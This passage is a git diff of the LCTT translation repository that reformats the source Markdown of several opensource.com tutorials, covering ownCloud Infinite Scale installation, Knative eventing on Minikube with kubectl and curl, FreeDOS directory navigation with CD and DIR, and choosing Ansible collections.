gRPC, developers merely need to create a microservice featuring the desired functionality that can be controlled by gRPC. Traefik, on a per-case basis, ensures that newly deployed add-ons are automatically added to the existing communication mesh. - -#### Goodbye, MySQL! - -ownCloud's switch to gRPC and microservices eliminates the need for a relational database. Instead, components that need to store metadata do it on their own. Due to Reva and the lack of a MySQL dependency, the complexity of running ownCloud in small environments is reduced considerably—an especially welcome bonus for maintainers of large-scale data centers, but nice for admins of any size installation. - -### Getting OCIS up and running - -ownCloud published a technical preview of OCIS 1.0 in December 2020, [shipping it][11] as a Docker container and binaries. More examples of getting it running are linked in the deployment section of its [GitHub repository][12]. - -#### Install with Docker - -Getting OCIS up and running with Docker containers is easy, although things can get complicated if you're new to EOS. Docker images for OCIS are available on [Docker Hub][13]. Look for the Latest tag for the current master branch. - -Any standard virtual machine from one of the big cloud providers or any entry-level server in a data center that uses a standard Linux distribution should be sufficient, provided the system has a container runtime installed. - -Assuming you have Docker or Podman installed, the command to start OCIS is simple: - - -``` -`$ docker run --rm -ti -p 9200:9200 owncloud/ocis` -``` - -That's it! OCIS is now waiting at your service on localhost port 9200. Open a web browser and navigate to `http://localhost:9200` to check it out. - -The demo accounts and passwords are `einstein:relativity`, `marie:radioactivity`, and `richard:superfluidity`. Admin accounts are `moss:vista` and `admin:admin`. If OCIS runs on a server with a resolvable hostname, it can request an SSL certificate from Let's Encrypt using Traefik. - -![OCIS contains no files at first login][14] - -(Martin Loschwitz, [CC BY-SA 4.0][15]) - -![OCIS user management interface][16] - -(Martin Loschwitz, [CC BY-SA 4.0][15]) - -#### Install with binary - -As an alternative to Docker, there also is a pre-compiled binary available. Thanks to Go, users can [download the latest binaries][17] from the Master branch. - -OCIS's binary edition expects `/var/tmp/ocis` as the default storage location, but you can change that in its configuration. You can start the OCIS server with: - - -``` -`$ ./ocis server` -``` - -Here are some of the subcommands available through the `ocis` binary: - - * `ocis health` runs a health check. A result greater than 0 indicates an error. - * `ocis list` prints all running OCIS extensions. - * `ocis run foo` starts a particular extension (`foo`, in this example). - * `ocis kill foo` stops a particular extension (`foo`, in this example). - * `ocis --help` prints a help message. - - - -The project's GitHub repository contains full [documentation][11]. - -### Setting up EOS (it's complicated) - -Following ownCloud's recommendations to deploy OCIS with EOS for large environments requires some additional steps. EOS not only adds required hardware and increases the whole environment's complexity, but it's also a slightly bigger task to set it up. CERN provides concise [EOS documentation][18] (linked from its [GitHub repository][19]), and ownCloud offers a [step-by-step guide][20]. - -In a nutshell, users have to get and start EOS and OCIS containers; configure LDAP support; and kill home, users', and metadata storage before starting them with the EOS configuration. Last but not least, the accounts service needs to be set up to work with EOS. All of these steps are "docker-compose" commands documented in the GitHub repository. The Storage Backends page on EOS also provides information on verification, troubleshooting, and a command reference for the built-in EOS shell. - -### Weighing risks and rewards - -ownCloud Infinite Scale is easy to install, faster than ever before, and better prepared for scalability. The modular design, with microservices and APIs (even for its extensions), looks promising. ownCloud is embracing new technology and developing for the future. If you run ownCloud, or if you've been thinking of trying it, there's never been a better time. Keep in mind that this is still a technology preview and is on a rolling release published every three weeks, so please report any bugs you find. - -Jos Poortvliet shares some of his favorite uses for the open source self-hosted storage platform. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/2/owncloud - -作者:[Martin Loschwitz][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/martinloschwitzorg -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/rh_003601_05_mech_osyearbook2016_cloud_cc.png?itok=XSV7yR9e (clouds in the sky with blue pattern) -[2]: https://owncloud.com/infinite-scale/ -[3]: https://opensource.com/article/19/7/what-posix-richard-stallman-explains -[4]: https://golang.org/ -[5]: https://en.wikipedia.org/wiki/Earth_Observing_System -[6]: https://xrootd.slac.stanford.edu/ -[7]: https://eos-web.web.cern.ch/eos-web/ -[8]: https://reva.link/ -[9]: https://en.wikipedia.org/wiki/GRPC -[10]: https://opensource.com/article/20/3/kubernetes-traefik -[11]: https://owncloud.github.io/ocis/getting-started/ -[12]: https://github.com/owncloud/ocis -[13]: https://hub.docker.com/r/owncloud/ocis -[14]: https://opensource.com/sites/default/files/uploads/ocis5.png (OCIS contains no files at first login) -[15]: https://creativecommons.org/licenses/by-sa/4.0/ -[16]: https://opensource.com/sites/default/files/uploads/ocis2.png (OCIS user management interface) -[17]: https://download.owncloud.com/ocis/ocis/ -[18]: https://eos-docs.web.cern.ch/ -[19]: https://github.com/cern-eos/eos -[20]: https://owncloud.github.io/ocis/storage-backends/eos/ diff --git a/sources/tech/20210222 A step-by-step guide to Knative eventing.md b/sources/tech/20210222 A step-by-step guide to Knative eventing.md index 9b297879bb..82f90f55c8 100644 --- a/sources/tech/20210222 A step-by-step guide to Knative eventing.md +++ b/sources/tech/20210222 A step-by-step guide to Knative eventing.md @@ -1,18 +1,20 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (A step-by-step guide to Knative eventing) -[#]: via: (https://opensource.com/article/21/2/knative-eventing) -[#]: author: (Jessica Cherry https://opensource.com/users/cherrybomb) +[#]: subject: "A step-by-step guide to Knative eventing" +[#]: via: "https://opensource.com/article/21/2/knative-eventing" +[#]: author: "Jessica Cherry https://opensource.com/users/cherrybomb" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " A step-by-step guide to Knative eventing ====== -Knative eventing is a way to create, send, and verify events in your -cloud-native environment. +Knative eventing is a way to create, send, and verify events in your cloud-native environment. + ![Computer laptop in space][1] +Image by: Opensource.com + In a previous article, I covered [how to create a small app with Knative][2], which is an open source project that adds components to [Kubernetes][3] for deploying, running, and managing [serverless, cloud-native][4] applications. In this article, I'll explain Knative eventing, a way to create, send, and verify events in your cloud-native environment. Events can be generated from many sources in your environment, and they can be confusing to manage or define. Since Knative follows the [CloudEvents][5] specification, it allows you to have one common abstraction point for your environment, where the events are defined to one specification. @@ -25,7 +27,6 @@ This walkthrough uses [Minikube][7] with Kubernetes 1.19.0. It also makes some c **Minikube pre-configuration commands:** - ``` $ minikube config set kubernetes-version v1.19.0 $ minikube config set memory 4000 @@ -34,7 +35,6 @@ $ minikube config set cpus 4 Before starting Minikube, run the following commands to make sure your configuration stays and start Minikube: - ``` $ minikube delete $ minikube start @@ -44,9 +44,8 @@ $ minikube start Install the Knative eventing custom resource definitions (CRDs) using kubectl. The following shows the command and a snippet of the output: - ``` -$ kubectl apply --filename +$ kubectl apply --filename https://github.com/knative/eventing/releases/download/v0.20.0/eventing-crds.yaml customresourcedefinition.apiextensions.k8s.io/apiserversources.sources.knative.dev created customresourcedefinition.apiextensions.k8s.io/brokers.eventing.knative.dev created @@ -56,9 +55,8 @@ customresourcedefinition.apiextensions.k8s.io/triggers.eventing.knative.dev crea Next, install the core components using kubectl: - ``` -$ kubectl apply --filename +$ kubectl apply --filename https://github.com/knative/eventing/releases/download/v0.20.0/eventing-core.yaml namespace/knative-eventing created serviceaccount/eventing-controller created clusterrolebinding.rbac.authorization.k8s.io/eventing-controller created @@ -66,23 +64,20 @@ clusterrolebinding.rbac.authorization.k8s.io/eventing-controller created Since you're running a standalone version of the Knative eventing service, you must install the in-memory channel to pass events. Using kubectl, run: - ``` -`$ kubectl apply --filename https://github.com/knative/eventing/releases/download/v0.20.0/in-memory-channel.yaml` +$ kubectl apply --filename https://github.com/knative/eventing/releases/download/v0.20.0/in-memory-channel.yaml ``` Install the broker, which utilizes the channels and runs the event routing: - ``` -$ kubectl apply --filename +$ kubectl apply --filename https://github.com/knative/eventing/releases/download/v0.20.0/mt-channel-broker.yaml clusterrole.rbac.authorization.k8s.io/knative-eventing-mt-channel-broker-controller created clusterrole.rbac.authorization.k8s.io/knative-eventing-mt-broker-filter created ``` Next, create a namespace and add a small broker to it; this broker routes events to triggers. Create your namespace using kubectl: - ``` $ kubectl create namespace eventing-test namespace/eventing-test created @@ -90,7 +85,6 @@ namespace/eventing-test created Now create a small broker named `default` in your namespace. The following is the YAML from my **broker.yaml** file (which can be found in my GitHub repository): - ``` apiVersion: eventing.knative.dev/v1 kind: broker @@ -101,7 +95,6 @@ metadata: Then apply your broker file using kubectl: - ``` $ kubectl create -f broker.yaml    broker.eventing.knative.dev/default created @@ -109,11 +102,10 @@ $ kubectl create -f broker.yaml Verify that everything is up and running (you should see the confirmation output) after you run the command: - ``` $ kubectl -n eventing-test get broker default                                                               NAME      URL                                                                              AGE    READY   REASON -default     3m6s   True +default   http://broker-ingress.knative-eventing.svc.cluster.local/eventing-test/default   3m6s   True ``` You'll need this URL from the broker output later for sending events, so save it. @@ -126,7 +118,6 @@ First, you need to create event consumers. You'll create two consumers in this w **The hello-display YAML code:** - ``` apiVersion: apps/v1 kind: Deployment @@ -135,7 +126,7 @@ metadata: spec:   replicas: 1   selector: -    matchLabels: &labels +    matchLabels: &labels       app: hello-display   template:     metadata: @@ -145,7 +136,7 @@ spec:         - name: event-display           image: gcr.io/knative-releases/knative.dev/eventing-contrib/cmd/event_display -\--- +--- kind: Service apiVersion: v1 @@ -162,7 +153,6 @@ spec: **The goodbye-display YAML code:** - ``` apiVersion: apps/v1 kind: Deployment @@ -171,7 +161,7 @@ metadata: spec:   replicas: 1   selector: -    matchLabels: &labels +    matchLabels: &labels       app: goodbye-display   template:     metadata: @@ -179,10 +169,10 @@ spec:     spec:       containers:         - name: event-display -          # Source code: +          # Source code: https://github.com/knative/eventing-contrib/tree/master/cmd/event_display           image: gcr.io/knative-releases/knative.dev/eventing-contrib/cmd/event_display -\--- +--- kind: Service apiVersion: v1 @@ -199,7 +189,6 @@ spec: The differences in the YAML between the two consumers are in the `app` and `metadata name` sections. While both consumers are on the same ports, you can target one when generating an event. Create the consumers using kubectl: - ``` $ kubectl -n eventing-test apply -f hello-display.yaml deployment.apps/hello-display created @@ -212,7 +201,6 @@ service/goodbye-display created Check to make sure the deployments are running after you've applied the YAML files: - ``` $ kubectl -n eventing-test get deployments hello-display goodbye-display NAME              READY   UP-TO-DATE   AVAILABLE   AGE @@ -226,7 +214,6 @@ Now, you need to create the triggers, which define the events the consumer recei **The greeting-trigger.yaml code:** - ``` apiVersion: eventing.knative.dev/v1 kind: Trigger @@ -246,7 +233,6 @@ spec: To create the first trigger, apply your YAML file: - ``` $ kubectl -n eventing-test apply -f greeting-trigger.yaml trigger.eventing.knative.dev/hello-display created @@ -256,7 +242,6 @@ Next, make the second trigger using **sendoff-trigger.yaml**. This sends anythin **The sendoff-trigger.yaml code:** - ``` apiVersion: eventing.knative.dev/v1 kind: Trigger @@ -276,7 +261,6 @@ spec: Next, apply your second trigger definition to the cluster: - ``` $ kubectl -n eventing-test apply -f sendoff-trigger.yaml trigger.eventing.knative.dev/goodbye-display created @@ -284,19 +268,17 @@ trigger.eventing.knative.dev/goodbye-display created Confirm everything is correctly in place by getting your triggers from the cluster using kubectl: - ``` $ kubectl -n eventing-test get triggers -NAME              BROKER    SUBSCRIBER_URI                                            AGE   READY   -goodbye-display   default     24s   True     -hello-display     default       46s   True +NAME              BROKER    SUBSCRIBER_URI                                            AGE   READY   +goodbye-display   default   http://goodbye-display.eventing-test.svc.cluster.local/   24s   True     +hello-display     default   http://hello-display.eventing-test.svc.cluster.local/     46s   True ``` ### Create an event producer Create a pod you can use to send events. This is a simple pod deployment with curl and SSH access for you to [send events using curl][8]. Because the broker can be accessed only from inside the cluster where Knative eventing is installed, the pod needs to be in the cluster; this is the only way to send events into the cluster. Use the **event-producer.yaml** file with this code: - ``` apiVersion: v1 kind: Pod @@ -318,7 +300,6 @@ spec: Next, deploy the pod by using kubectl: - ``` $ kubectl -n eventing-test apply -f event-producer.yaml pod/curl created @@ -326,7 +307,6 @@ pod/curl created To verify, get the deployment and make sure the pod is up and running: - ``` $ kubectl get pods -n eventing-test NAME                               READY   STATUS    RESTARTS   AGE @@ -339,14 +319,12 @@ Since this article has been so configuration-heavy, I imagine you'll be happy to Begin by logging into the pod: - ``` -`$ kubectl -n eventing-test attach curl -it` +$ kubectl -n eventing-test attach curl -it ``` Once logged in, you'll see output similar to: - ``` Defaulting container name to curl. Use 'kubectl describe pod/curl -n eventing-test' to see all of the containers in this pod. @@ -356,9 +334,8 @@ If you don't see a command prompt, try pressing enter. Now, generate an event using curl. This needs some extra definitions and requires the broker URL generated during the installation. This example sends a greeting to the broker: - ``` -curl -v "" \ +curl -v "http://broker-ingress.knative-eventing.svc.cluster.local/eventing-test/default" \   -X POST \   -H "Ce-Id: say-hello" \   -H "Ce-Specversion: 1.0" \ @@ -372,31 +349,29 @@ curl -v " POST /eventing-test/default HTTP/1.1 +> User-Agent: curl/7.35.0 +> Host: broker-ingress.knative-eventing.svc.cluster.local +> Accept: */* +> Ce-Id: say-hello +> Ce-Specversion: 1.0 +> Ce-Type: greeting +> Ce-Source: not-sendoff +> Content-Type: application/json +> Content-Length: 24 +> +< HTTP/1.1 202 Accepted +< Date: Sun, 24 Jan 2021 22:25:25 GMT +< Content-Length: 0 ``` The 202 means the trigger sent it to the **hello-display** consumer (because of the definition.) Next, send a second definition to the **goodbye-display** consumer with this new curl command: - ``` -curl -v "" \ +curl -v "http://broker-ingress.knative-eventing.svc.cluster.local/eventing-test/default" \   -X POST \   -H "Ce-Id: say-goodbye" \   -H "Ce-Specversion: 1.0" \ @@ -410,22 +385,21 @@ This time, it is a `sendoff` and not a greeting based on the previous setup sect Your output should look like this, with another 202 returned: - ``` -> POST /eventing-test/default HTTP/1.1 -> User-Agent: curl/7.35.0 -> Host: broker-ingress.knative-eventing.svc.cluster.local -> Accept: */* -> Ce-Id: say-goodbye -> Ce-Specversion: 1.0 -> Ce-Type: not-greeting -> Ce-Source: sendoff -> Content-Type: application/json -> Content-Length: 26 -> -< HTTP/1.1 202 Accepted -< Date: Sun, 24 Jan 2021 22:33:00 GMT -< Content-Length: 0 +> POST /eventing-test/default HTTP/1.1 +> User-Agent: curl/7.35.0 +> Host: broker-ingress.knative-eventing.svc.cluster.local +> Accept: */* +> Ce-Id: say-goodbye +> Ce-Specversion: 1.0 +> Ce-Type: not-greeting +> Ce-Source: sendoff +> Content-Type: application/json +> Content-Length: 26 +> +< HTTP/1.1 202 Accepted +< Date: Sun, 24 Jan 2021 22:33:00 GMT +< Content-Length: 0 ``` Congratulations, you sent two events! @@ -438,14 +412,12 @@ Now that the events have been sent, how do you know that the correct consumers r Start with the **hello-display** consumer:: - ``` -`$ kubectl -n eventing-test logs -l app=hello-display --tail=100` +$ kubectl -n eventing-test logs -l app=hello-display --tail=100 ``` There isn't much running in this example cluster, so you should see only one event: - ``` ☁️  cloudevents.Event Validation: valid @@ -467,7 +439,6 @@ You've confirmed the **hello-display** consumer received the event! Now check th Start by running the same command but with **goodbye-display**: - ``` $ kubectl -n eventing-test logs -l app=goodbye-display --tail=100 ☁️  cloudevents.Event @@ -494,9 +465,8 @@ So you sent events to each consumer using curl, but what if you want to send an Here is a curl example of a definition for sending an event to both consumers: - ``` -curl -v "" \ +curl -v "http://broker-ingress.knative-eventing.svc.cluster.local/eventing-test/default" \   -X POST \   -H "Ce-Id: say-hello-goodbye" \   -H "Ce-Specversion: 1.0" \ @@ -512,27 +482,25 @@ Here is sample output of what the events look like after they are sent. **Output of the event being sent:** - ``` -> POST /eventing-test/default HTTP/1.1 -> User-Agent: curl/7.35.0 -> Host: broker-ingress.knative-eventing.svc.cluster.local -> Accept: */* -> Ce-Id: say-hello-goodbye -> Ce-Specversion: 1.0 -> Ce-Type: greeting -> Ce-Source: sendoff -> Content-Type: application/json -> Content-Length: 41 -> -< HTTP/1.1 202 Accepted -< Date: Sun, 24 Jan 2021 23:04:15 GMT -< Content-Length: 0 +> POST /eventing-test/default HTTP/1.1 +> User-Agent: curl/7.35.0 +> Host: broker-ingress.knative-eventing.svc.cluster.local +> Accept: */* +> Ce-Id: say-hello-goodbye +> Ce-Specversion: 1.0 +> Ce-Type: greeting +> Ce-Source: sendoff +> Content-Type: application/json +> Content-Length: 41 +> +< HTTP/1.1 202 Accepted +< Date: Sun, 24 Jan 2021 23:04:15 GMT +< Content-Length: 0 ``` **Output of hello-display (showing two events):** - ``` $ kubectl -n eventing-test logs -l app=hello-display --tail=100 ☁️  cloudevents.Event @@ -567,7 +535,6 @@ Data, **Output of goodbye-display (also with two events):** - ``` $ kubectl -n eventing-test logs -l app=goodbye-display --tail=100 ☁️  cloudevents.Event @@ -611,15 +578,15 @@ Internal eventing in cloud events is pretty easy to track if it's going to a pre via: https://opensource.com/article/21/2/knative-eventing 作者:[Jessica Cherry][a] -选题:[lujun9972][b] +选题:[lkxed][b] 译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID) 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 [a]: https://opensource.com/users/cherrybomb -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/computer_space_graphic_cosmic.png?itok=wu493YbB (Computer laptop in space) +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/computer_space_graphic_cosmic.png [2]: https://opensource.com/article/20/11/knative [3]: https://opensource.com/resources/what-is-kubernetes [4]: https://en.wikipedia.org/wiki/Cloud_native_computing diff --git a/sources/tech/20210226 Navigate your FreeDOS system.md b/sources/tech/20210226 Navigate your FreeDOS system.md index 9397e73e2b..c80a601bbb 100644 --- a/sources/tech/20210226 Navigate your FreeDOS system.md +++ b/sources/tech/20210226 Navigate your FreeDOS system.md @@ -1,15 +1,16 @@ -[#]: subject: (Navigate your FreeDOS system) -[#]: via: (https://opensource.com/article/21/2/freedos-dir) -[#]: author: (Kevin O'Brien https://opensource.com/users/ahuka) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) +[#]: subject: "Navigate your FreeDOS system" +[#]: via: "https://opensource.com/article/21/2/freedos-dir" +[#]: author: "Kevin O'Brien https://opensource.com/users/ahuka" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " Navigate your FreeDOS system ====== Master the DIR command to navigate your way around FreeDOS. + ![A map with a route highlighted][1] [FreeDOS][2] is an open source implementation of DOS. It's not a remix of Linux, and it is compatible with the operating system that introduced many people to personal computing. This makes it an important resource for running legacy applications, playing retro games, updating firmware on motherboards, and experiencing a little bit of living computer history. In this article, I'll look at some of the essential commands used to navigate a FreeDOS system. @@ -22,7 +23,6 @@ There are many reasons not to work exclusively in your root directory. First of The FreeDOS `CD` command changes your current working subdirectory to another subdirectory. Imagine a computer with the following directory structure: - ``` C:\   \LETTERS\   @@ -34,48 +34,43 @@ C:\   \SCHOOL\ ``` -You start in the `C:\` directory, so to navigate to your love letter directory, you can use `CD`: - +You start in the `C:\` directory, so to navigate to your love letter directory, you can use `CD` : ``` -`C:\>CD \LETTERS\LOVE\` +C:\>CD \LETTERS\LOVE\ ``` -To navigate to your `\LETTERS\BUSINESS` directory, you must specify the path to your business letters from a common fixed point on your filesystem. The most reliable starting location is `C:\`, because it's where _everything_ on your computer is stored. - +To navigate to your `\LETTERS\BUSINESS` directory, you must specify the path to your business letters from a common fixed point on your filesystem. The most reliable starting location is `C:\`, because it's where *everything* on your computer is stored. ``` -`C:\LETTERS\LOVE\>CD C:\LETTERS\BUSINESS` +C:\LETTERS\LOVE\>CD C:\LETTERS\BUSINESS ``` #### Navigating with dots -There's a useful shortcut for navigating your FreeDOS system, which takes the form of dots. Two dots (`..`) tell FreeDOS you want to move "back" or "down" in your directory tree. For instance, the `LETTERS` directory in this example system contains one subdirectory called `LOVE` and another called `BUSINESS`. If you're in `LOVE` currently, and you want to step back and change over to `BUSINESS`, you can just use two dots to represent that move: - +There's a useful shortcut for navigating your FreeDOS system, which takes the form of dots. Two dots (`..` ) tell FreeDOS you want to move "back" or "down" in your directory tree. For instance, the `LETTERS` directory in this example system contains one subdirectory called `LOVE` and another called `BUSINESS`. If you're in `LOVE` currently, and you want to step back and change over to `BUSINESS`, you can just use two dots to represent that move: ``` -C:\LETTERS\LOVE\>CD ..\BUSINESS -C:\LETTERS\BUSINESS\> +C:\LETTERS\LOVE\>CD ..\BUSINESS +C:\LETTERS\BUSINESS\> ``` To get all the way back to your root directory, just use the right number of dots: - ``` -C:\LETTERS\BUSINESS\: CD ..\\.. -C:\> +C:\LETTERS\BUSINESS\: CD ..\.. +C:\> ``` #### Navigational shortcuts -There are some shortcuts for navigating directories, too.  +There are some shortcuts for navigating directories, too. To get back to the root directory from wherever you are: - ``` -C:\LETTERS\BUSINESS\>CD \ -C:\> +C:\LETTERS\BUSINESS\>CD \ +C:\> ``` ### List directory contents with DIR @@ -84,9 +79,8 @@ The `DIR` command displays the contents of a subdirectory, but it can also funct `DIR` displays the contents of the current working subdirectory, and with an optional path argument, it displays the contents of some other subdirectory: - ``` -C:\LETTERS\BUSINESS\>DIR +C:\LETTERS\BUSINESS\>DIR MTG_CARD    TXT  1344 12-29-2020  3:06p NON         TXT   381 12-31-2020  8:12p SOMUCHFO    TXT   889 12-31-2020  9:36p @@ -97,49 +91,49 @@ TEST        BAT    32 01-03-2021 10:34a With a special attribute argument, you can use `DIR` to find and filter out certain kinds of files. There are 10 attributes you can specify: -`H` | Hidden ----|--- -`-H` | Not hidden -`S` | System -`-S` | Not system -`A` | Archivable files -`-A` | Already archived files -`R` | Read-only files -`-R` | Not read-only (i.e., editable and deletable) files -`D` | Directories only, no files -`-D` | Files only, no directories +| - | - | +| :- | :- | +| H | Hidden | +| -H | Not hidden | +| S | System | +| -S | Not system | +| A | Archivable files | +| -A | Already archived files | +| R | Read-only files | +| -R | Not read-only (i.e., editable and deletable) files | +| D | Directories only, no files | +| -D | Files only, no directories | These special designators are denoted with `/A:` followed by the attribute letter. You can enter as many attributes as you like, in order, without leaving a space between them. For instance, to view only hidden directories: - ``` -C:\MEMOS\>DIR /A:HD -.OBSCURE    <DIR>  01-08-2021 10:10p +C:\MEMOS\>DIR /A:HD +.OBSCURE      01-08-2021 10:10p ``` #### Listing in order You can also display the results of your `DIR` command in a specific order. The syntax for this is very similar to using attributes. You leave a space after the `DIR` command or after any other switches, and enter `/O:` followed by a selection. There are 12 possible selections: -`N` | Alphabetical order by file name ----|--- -`-N` | Reverse alphabetical order by file name -`E` | Alphabetical order by file extension -`-E` | Reverse alphabetical order by file extension -`D` | Order by date and time, earliest first -`-D` | Order by date and time, latest first -`S` | By size, increasing -`-S` | By size, decreasing -`C` | By [DoubleSpace][3] compression ratio, lowest to highest (version 6.0 only) -`-C` | By DoubleSpace compression ratio, highest to lowest (version 6.0 only) -`G` | Group directories before other files -`-G` | Group directories after other files +| - | - | +| :- | :- | +| N | Alphabetical order by file name | +| -N | Reverse alphabetical order by file name | +| E | Alphabetical order by file extension | +| -E | Reverse alphabetical order by file extension | +| D | Order by date and time, earliest first | +| -D | Order by date and time, latest first | +| S | By size, increasing | +| -S | By size, decreasing | +| C | By DoubleSpace compression ratio, lowest to highest (version 6.0 only) | +| -C | By DoubleSpace compression ratio, highest to lowest (version 6.0 only) | +| G | Group directories before other files | +| -G | Group directories after other files | To see your directory listing grouped by file extension: - ``` -C:\>DIR /O:E +C:\>DIR /O:E TEST        BAT 01-10-2021 7:11a TIMER       EXE 01-11-2021 6:06a AAA         TXT 01-09-2021 4:27p @@ -149,9 +143,8 @@ This returns a list of files in alphabetical order of file extension. If you're looking for a file you were working on yesterday, you can order by modification time: - ``` -C:\>DIR /O:-D +C:\>DIR /O:-D AAA         TXT 01-09-2021 4:27p TEST        BAT 01-10-2021 7:11a TIMER       EXE 01-11-2021 6:06a @@ -163,12 +156,11 @@ If you need to clean up your hard drive because you're running out of space, you You can use multiple arguments in a `DIR` command to achieve fairly complex results. Remember that each argument has to be separated from its neighbors by a blank space on each side: - ``` -`C:\>DIR /A:A /O:D /P` +C:\>DIR /A:A /O:D /P ``` -This command selects only those files that have not yet been backed up (`/A:A`), orders them by date, beginning with the oldest (`/O:D`), and displays the results on your monitor one page at a time (`/P`). So you can really do some slick stuff with the `DIR` command once you've mastered these arguments and switches. +This command selects only those files that have not yet been backed up (`/A:A` ), orders them by date, beginning with the oldest (`/O:D` ), and displays the results on your monitor one page at a time (`/P` ). So you can really do some slick stuff with the `DIR` command once you've mastered these arguments and switches. ### Terminology @@ -180,24 +172,21 @@ If it has a slash in front, it is a switch. So all switches are also arguments, FreeDOS can be very different from what you're used to if you're used to Windows or macOS, and it can be just different enough if you're used to Linux. A little practice goes a long way, though, so try some of these on your own. You can always get a help message with the `/?` switch. The best way to get comfortable with these commands is to practice using them. -* * * - -_Some of the information in this article was previously published in [DOS lesson 12: Expert DIR use][4] (CC BY-SA 4.0)._ +*Some of the information in this article was previously published in [DOS lesson 12: Expert DIR use][3] (CC BY-SA 4.0).* -------------------------------------------------------------------------------- via: https://opensource.com/article/21/2/freedos-dir 作者:[Kevin O'Brien][a] -选题:[lujun9972][b] +选题:[lkxed][b] 译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID) 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 [a]: https://opensource.com/users/ahuka -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/map_route_location_gps_path.png?itok=RwtS4DsU (A map with a route highlighted) +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/map_route_location_gps_path.png [2]: https://www.freedos.org/ -[3]: https://en.wikipedia.org/wiki/DriveSpace -[4]: https://www.ahuka.com/dos-lessons-for-self-study-purposes/dos-lesson-12-expert-dir-use/ +[3]: https://www.ahuka.com/dos-lessons-for-self-study-purposes/dos-lesson-12-expert-dir-use/ diff --git a/sources/tech/20210301 5 tips for choosing an Ansible collection that-s right for you.md b/sources/tech/20210301 5 tips for choosing an Ansible collection that-s right for you.md index 5d7b220c05..1b9bd5eea2 100644 --- a/sources/tech/20210301 5 tips for choosing an Ansible collection that-s right for you.md +++ b/sources/tech/20210301 5 tips for choosing an Ansible collection that-s right for you.md @@ -1,17 +1,19 @@ -[#]: subject: (5 tips for choosing an Ansible collection that's right for you) -[#]: via: (https://opensource.com/article/21/3/ansible-collections) -[#]: author: (Tadej Borovšak https://opensource.com/users/tadeboro) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) +[#]: subject: "5 tips for choosing an Ansible collection that's right for you" +[#]: via: "https://opensource.com/article/21/3/ansible-collections" +[#]: author: "Tadej Borovšak https://opensource.com/users/tadeboro" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " 5 tips for choosing an Ansible collection that's right for you ====== -Try these strategies to find and vet collections of Ansible plugins and -modules before you install them. -![Woman sitting in front of her computer][1] +Try these strategies to find and vet collections of Ansible plugins and modules before you install them. + +![Women in computing and open source][1] + +Image by: Ray Smith In August 2020, Ansible issued its first release since the developers split the core functionality from the vast majority of its modules and plugins. A few [basic Ansible modules][2] remain part of core Ansible—modules for templating configuration files, managing services, and installing packages. All the other modules and plugins found their homes in dedicated [Ansible collections][3]. @@ -25,7 +27,6 @@ With the introduction of Ansible collections, [Ansible Galaxy][7] became the cen Ansible comes bundled with the `ansible-galaxy` tool for installing collections. Once you know what Ansible collection you want to install, things are relatively straightforward: Run the installation command listed on the Ansible Galaxy page. Ansible takes care of downloading and installing it. For example: - ``` $ ansible-galaxy collection install sensu.sensu_go Process install dependency map @@ -44,7 +45,7 @@ The ability to install Ansible collections offered a lot more control over the c Now users are solely responsible for the quality of content they use to build Ansible playbooks. But how can you separate high-quality content from the rest? Here are five things to check when evaluating an Ansible collection. -#### 1\. Documentation +#### 1. Documentation Once you find a potential candidate on Ansible Galaxy, check its documentation first. In an ideal world, each Ansible collection would have a dedicated documentation site. For example, the [Sensu Go][8] and [F5 Networks][9] Ansible collections have them. Most other Ansible collections come only with a README file, but this will change for the better once the documentation tools mature. @@ -52,10 +53,9 @@ The Ansible collection's documentation should contain at least a quickstart tuto Another essential part of the documentation is a detailed module, plugin, and role reference guide. Collection authors do not always publish those guides on the internet, but they should always be accessible with the `ansible-doc` tool. - ``` $ ansible-doc community.sops.sops_encrypt -> SOPS_ENCRYPT    (/home/tadej/.ansible/collections/ansible> +> SOPS_ENCRYPT    (/home/tadej/.ansible/collections/ansible>         Allows to encrypt binary data (Base64 encoded), text         data, JSON or YAML data with sops. @@ -63,7 +63,7 @@ $ ansible-doc community.sops.sops_encrypt   * This module is maintained by The Ansible Community OPTIONS (= is mandatory): -\- attributes +- attributes         The attributes the resulting file or directory should         have.         To get supported flags look at the man page for @@ -78,18 +78,17 @@ OPTIONS (= is mandatory): ... ``` -#### 2\. Playbook readability +#### 2. Playbook readability An Ansible playbook should serve as a human-readable description of the desired state. To achieve that, modules from the Ansible collection under evaluation should have a consistent user interface and descriptive parameter names. For example, if Ansible modules interact with a web service, authentication parameters should be separated from the rest. And all modules should use the same authentication parameters if possible. - ``` -\- name: Create a check that runs every 30 seconds +- name: Create a check that runs every 30 seconds   sensu.sensu_go.check: -    auth: &auth -      url: +    auth: &auth +      url: https://my.sensu.host:8080       user: demo       password: demo-pass     name: check @@ -97,36 +96,34 @@ For example, if Ansible modules interact with a web service, authentication para     interval: 30     publish: true -\- name: Create a filter +- name: 